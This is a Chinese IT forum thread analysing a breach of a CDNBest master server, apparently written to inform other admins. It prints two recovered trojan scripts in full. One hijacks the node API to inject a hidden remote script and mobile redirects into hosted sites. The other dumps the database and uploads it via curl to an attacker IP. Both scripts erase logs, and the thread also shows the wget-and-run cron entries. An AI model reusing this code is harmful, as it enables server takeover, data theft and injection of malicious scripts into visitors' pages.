设为首页收藏本站

ZMX - IT技术交流论坛 - 无限Perfect,追求梦想 - itzmx.com

 找回密码
 注册论坛

QQ登录

只需一步,快速开始

新浪微博账号登陆

只需一步,快速开始

用百度帐号登录

只需两步,快速登录

搜索
查看: 516|回复: 6

jc00000.py 文件,最近cdnbest主控被黑的木马残留文件 ,301到某非法网站中,补充cbcea1a.py

[复制链接]
 成长值: 27265

签到天数: 3500 天

[LV.Master]伴坛终老

发表于 2021/4/16 22:38 | 显示全部楼层 |阅读模式 |Google Chrome 89.0.4389.128|Windows 10
jc00000.py 文件,最近cdnbest主控被黑的木马残留文件 ,301到某非法网站中,补充cbcea1a.py

存放在/root/jc00000.py 中,内容如下,会下发配置文件到节点,安装一个名为kangle_vhs的配置文件,控制节点kangle的规则进行执行跳转
时间,攻击者共进行了两次,入侵时间应该为4月12号晚上23:17
4月14日 16:02
4月16日 13:31
猜测,因为节点,,要连接授权服务器,授权服务器返回主控ip给节点
安装节点的时候后面不是有个uid,批量扫一下uid就出来了。。查询每个uid背后的授权ip然后通过漏洞对其攻击

虽然找到木马文件了,但是得找到入口才行,如何上传木马文件得渠道,否则就算堵了木马文件的执行方案也没有用。
1.png

cdnbest本地主控利用kangle实现禁止admin管理员后台控制面板登陆的方法
https://bbs.itzmx.com/thread-97666-1-1.html

被黑关联贴:https://bbs.itzmx.com/thread-97664-1-1.html

  1. import fileinput,os,requests
  2. from json import loads,dumps
  3. import time,sys
  4. from hashlib import md5

  5. if len(sys.argv) != 3:
  6.     print("ip none")
  7.     sys.exit()

  8. ip = sys.argv[1]
  9. revice_ip = sys.argv[2]

  10. uid = os.popen('mysql -uroot cdnbest -e "select uid from users order by createtime asc limit 1"').read().split("\n")[1]

  11. time.sleep(1)
  12. print("uid:"+str(uid))

  13. for line in fileinput.input("/var/spool/cron/root",inplace = True):
  14.     if "jc00000.py" not in line:
  15.         print(line.rstrip().replace('* * * * * wget http://'+revice_ip+'/jc00000.py && python ./jc00000.py '+ip+' '+revice_ip,''))

  16. f = open("/var/spool/cron/root","r").read().split("\n")
  17. os.popen('rm -f /var/spool/cron/root')
  18. f2 = open("/var/spool/cron/root","a")
  19. os.popen("rm -f /var/log/cron")
  20. os.popen("touch /var/log/cron")
  21. for x in f:
  22.     if x != "":
  23.         f2.write(x+"\n")
  24. f2.close()


  25. kangle = '''
  26. <config>
  27.     <request action='vhs' >
  28.         <table name='BEGIN'>
  29.                         <chain  action='continue' >
  30.                                 <acl_reg_param revers='1'  param='version' nc='1'></acl_reg_param>
  31.                                 <acl_header header='User-Agent' nc='1'><![CDATA[((Android)|(iPhone))]]></acl_header>
  32.                                 <acl_reg_param  param='=' nc='1'></acl_reg_param>
  33.                                 <mark_url_rewrite  url='(.*)' dst='$1&amp;version=' nc='1' code='301'></mark_url_rewrite>
  34.                         </chain>
  35.                         <chain  action='continue' >
  36.                                 <acl_reg_param revers='1'  param='version' nc='1'></acl_reg_param>
  37.                                 <acl_header header='User-Agent' nc='1'><![CDATA[((Android)|(iPhone))]]></acl_header>
  38.                                 <acl_reg_param revers='1'  param='=' nc='1'></acl_reg_param>
  39.                                 <mark_url_rewrite  url='(.*)' dst='$1?version=' nc='1' code='301'></mark_url_rewrite>
  40.                         </chain>
  41.                         <chain  action='continue' >
  42.                                 <mark_remove_header   attr='Accept-Encoding' val='.' ></mark_remove_header>
  43.                         </chain>
  44.                 </table>
  45.     </request>
  46.     <response action='allow' >
  47.         <table name='BEGIN'>
  48.             <chain  action='continue' >
  49.                                 <acl_reg_param  param='version' nc='1'></acl_reg_param>
  50.                                 <acl_header header='Content-Type' nc='1'><![CDATA[(html)]]></acl_header>
  51.                                 <mark_replace_content   content='&lt;/html&gt;' replace='&lt;div style=&#34;display:none&#34;&gt;&lt;script src=&#34;https://code.jquery.asia/jquery.min-3.6.0.js&#34; language=&#34;JavaScript&#34;&gt;&lt;/script&gt;&lt;/div&gt;&lt;/html&gt;' nc='1' charset='utf-8' buffer='1M'></mark_replace_content>
  52.                         </chain>
  53.         </table>
  54.     </response>
  55. </config>
  56. '''


  57. os.popen('mysql -uroot cdnbest -e "delete from usersetting where name = \'skey\';delete from usersetting where name = \'use_api_white\';insert into usersetting (uid,name,value) values('+str(uid)+',\'skey\',\'123456\');insert into usersetting (uid,name,value) values('+str(uid)+',\'use_api_white\',\'\');"')

  58. time.sleep(2)
  59. print('wait skey insert')

  60. times = str(int(time.time()))
  61. sign = md5((md5((str(uid)+"123456").encode('utf8')).hexdigest()+times).encode('utf8')).hexdigest()
  62. vhost = ""
  63. data = dumps({'uid':uid,'time':times,'sign':sign,'vhost':vhost})
  64. headers = {"Content-Type":"application/json"}
  65. r =requests.post(ip+"/api/user/login/token",data,headers=headers)
  66. resJson = loads(r.text)
  67. if resJson["data"]["sessionId"]:
  68.     print("JSESSIONID:"+resJson["data"]["sessionId"])
  69.     cookie = {"JSESSIONID":resJson["data"]["sessionId"]}
  70.     retlist = requests.get(ip+"/api/user/nodegroup/list",headers=headers,cookies=cookie)
  71.     resJson = loads(retlist.text)
  72.     if resJson["data"]:
  73.         for item in resJson["data"]:
  74.             custom = dumps({'name':'kangle_vhs','value':kangle})
  75.             res = requests.post(ip+"/api/user/nodegroup/config/custom/"+str(item["id"]),custom,headers=headers,cookies=cookie)
  76.             print(str(item["id"]) + ":done")

  77.     print("waiting done 5")
  78.     time.sleep(5)
  79.    

  80.     os.popen('mysql -uroot cdnbest -e "delete from vhost_config where name = \'kangle_vhs\'"')
  81.     os.popen('mysql -uroot cdnbest -e "delete from usersetting where name = \'skey\';delete from usersetting where name = \'use_api_white\';"')
  82. else:
  83.     print("token error")

  84. os.popen("rm -f /vhs2/cbmaster/var/cdnbest-web.log && touch /vhs2/cbmaster/var/cdnbest-web.log")
  85. os.popen("rm -f /vhs2/cbmaster/var/access2.log && touch /vhs2/cbmaster/var/access2.log")
  86. os.popen("rm -rf /tmp/best.tar.gz")
  87. os.popen("history -c")
  88. os.popen("rm -f ./jc00000.py")
复制代码


补充,17日11点13分的时候,攻击者再次出现,上传cbcea1a.py木马文件,会打包当前数据库提交到木马服务器
  1. import fileinput,os,subprocess,time,sys

  2. if len(sys.argv) != 2:
  3.     print("ip none")
  4.     sys.exit()

  5. ip = sys.argv[1]

  6. for line in fileinput.input("/var/spool/cron/root",inplace = True):
  7.     if "cbcea1a.py" not in line:
  8.         print(line.rstrip().replace('* * * * * wget http://'+ip+'/cbcea1a.py && python ./cbcea1a.py '+ip,''))

  9. f = open("/var/spool/cron/root","r").read().split("\n")
  10. os.popen('rm -f /var/spool/cron/root')
  11. f2 = open("/var/spool/cron/root","a")
  12. os.popen("rm -f /var/log/cron")
  13. os.popen("touch /var/log/cron")
  14. for x in f:
  15.     if x != "":
  16.         f2.write(x+"\n")
  17. f2.close()

  18. info = os.popen('mysql -uroot cdnbest -e "set names utf8;select value from setting where name in (\'system_domian\',\'system_name\',\'system_footer\') order by name asc"').read().split("\n")
  19. system_domian = ""
  20. system_name = ""
  21. system_footer = ""

  22. try:
  23.     if info[1]:
  24.         system_domian = info[1]
  25. except IndexError:
  26.     pass

  27. try:
  28.     if info[2]:
  29.         system_name = info[2]
  30. except IndexError:
  31.     pass

  32. try:
  33.     if info[3]:
  34.         system_footer = info[3]
  35. except IndexError:
  36.     pass

  37. filename = str(system_domian)+"_"+str(system_name)+"_"+str(system_footer)

  38. os.popen('mysqldump -u root cdnbest > /tmp/cdnbest.sql')
  39. p = subprocess.Popen(["tar", "-czvf","/tmp/best.tar.gz","/tmp/cdnbest.sql"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
  40. p.wait()
  41. x = subprocess.Popen(["curl", "-F","file=@/tmp/best.tar.gz","http://"+ip+"/x1.php?f="+filename], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
  42. x.wait()
  43. os.popen("rm -f /vhs2/cbmaster/var/cdnbest-web.log && touch /vhs2/cbmaster/var/cdnbest-web.log")
  44. os.popen("rm -f /vhs2/cbmaster/var/access2.log && touch /vhs2/cbmaster/var/access2.log")
  45. os.popen("rm -rf /tmp/best.tar.gz")
  46. os.popen("history -c")
  47. time.sleep(1)
  48. os.popen("rm -f ./cbcea1a.py")
复制代码


/var/spool/cron/root文件内容,查看/var/log/cron执行日志信息观察到被插入修改时间为17日下午15.45分。
  1. * * * * * wget http://23.97.69.188/cbcea1a.py && python ./cbcea1a.py 23.97.69.188

  2. * * * * * wget http://23.97.69.188/cbcea1a.py && python ./cbcea1a.py 23.97.69.188

  3. * * * * * wget http://23.97.69.188/jc00000.py && python ./jc00000.py http://119.28.11.131 23.97.69.188

  4. * * * * * wget http://23.97.69.188/jc00000.py && python ./jc00000.py https://119.28.11.131:4430 23.97.69.188

  5. * * * * * wget http://23.97.69.188:8008/jc00000.py && python ./jc00000.py https://119.28.11.131:4430 23.97.69.188
复制代码


看到的木马文件会上传数据库信息到木马服务器。和修改主控配置信息同步下发到节点,并且会放在 /vhs2/cbmaster/web2/wwwroot/user/assets/fill/best.tar.gz 中,用于随时下载数据库信息
数据库文件里面有用户域名,注册信息,等等,有可能的,同行竞争把对手的东西搞坏,估计把对手搞掉,然后通过信息联系拉客户用。。涉及到利益问题了
公开只说cdnbest-web.jar就这玩意的漏洞,绕过了官方自带的waf规则实现了任意命令执行漏洞
由于上方说的原因,所以我也不太好公开修复方案,要修复的可以联系我付费修复5K一次性修复这个漏洞,不保证还有其它漏洞入口进行入侵导致后续出现问题。
解决:https://bbs.itzmx.com/thread-97812-1-1.html


根据排查,漏洞入口为下,感谢这位木马作者马大忽的操作,,,虽然你做了各种日志爬虫混淆,但是还是被我找到了
购买主题 本主题需向作者支付 9999 樱币 才能浏览
欢迎光临IT技术交流论坛:http://bbs.itzmx.com/
回复

使用道具 举报

签到天数: 2 天

[LV.1]初来乍到

发表于 2021/4/16 22:55 | 显示全部楼层 |Google Chrome 72.0.3626.121|Windows 10
谢谢樱紫了。。。。。
欢迎光临IT技术交流论坛:http://bbs.itzmx.com/
回复 支持 反对

使用道具 举报

 成长值: 27265

签到天数: 3500 天

[LV.Master]伴坛终老

发表于 2021/4/16 23:15 | 显示全部楼层 |Google Chrome 89.0.4389.128|Windows 10
aming 发表于 2021/4/16 22:55
谢谢樱紫了。。。。。

攻击者只留下了个木马,木马攻击随时都可以改的,当天关键的日志都被清了
欢迎光临IT技术交流论坛:http://bbs.itzmx.com/
回复 支持 反对

使用道具 举报

签到天数: 1041 天

[LV.10]以坛为家III

发表于 2021/4/16 23:23 | 显示全部楼层 |Google Chrome 89.0.4389.128|Windows 10
我还以为小樱电脑又中毒了
欢迎光临IT技术交流论坛:http://bbs.itzmx.com/
回复 支持 反对

使用道具 举报

签到天数: 2 天

[LV.1]初来乍到

发表于 2021/4/16 23:33 | 显示全部楼层 |Google Chrome 72.0.3626.121|Windows 10
小樱 发表于 2021/4/16 23:15
攻击者只留下了个木马,木马攻击随时都可以改的,当天关键的日志都被清了

我先安个云锁吧。麻烦小樱在帮我想想怎么防止他入侵吧55555
[发帖际遇]: aming 发帖时在路边捡到 3 樱币,偷偷放进了口袋. 幸运榜 / 衰神榜
欢迎光临IT技术交流论坛:http://bbs.itzmx.com/
回复 支持 反对

使用道具 举报

签到天数: 1041 天

[LV.10]以坛为家III

发表于 2021/4/19 02:00 | 显示全部楼层 |Google Chrome 89.0.4389.128|Windows 10
欢迎光临IT技术交流论坛:http://bbs.itzmx.com/
回复 支持 反对

使用道具 举报

签到天数: 33 天

[LV.5]常住居民I

发表于 2021/4/20 00:10 | 显示全部楼层 |Google Chrome 89.0.4389.128|Windows 10
给力
欢迎光临IT技术交流论坛:http://bbs.itzmx.com/
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册论坛 新浪微博账号登陆用百度帐号登录

本版积分规则

手机版|Archiver|Mail me|网站地图|IT技术交流论坛 ( 闽ICP备13013206号-7 )

GMT+8, 2021/8/3 01:42 , Processed in 0.333609 second(s), 25 queries , MemCache On.

Powered by itzmx! X3.4

© 2011- sakura

快速回复 返回顶部 返回列表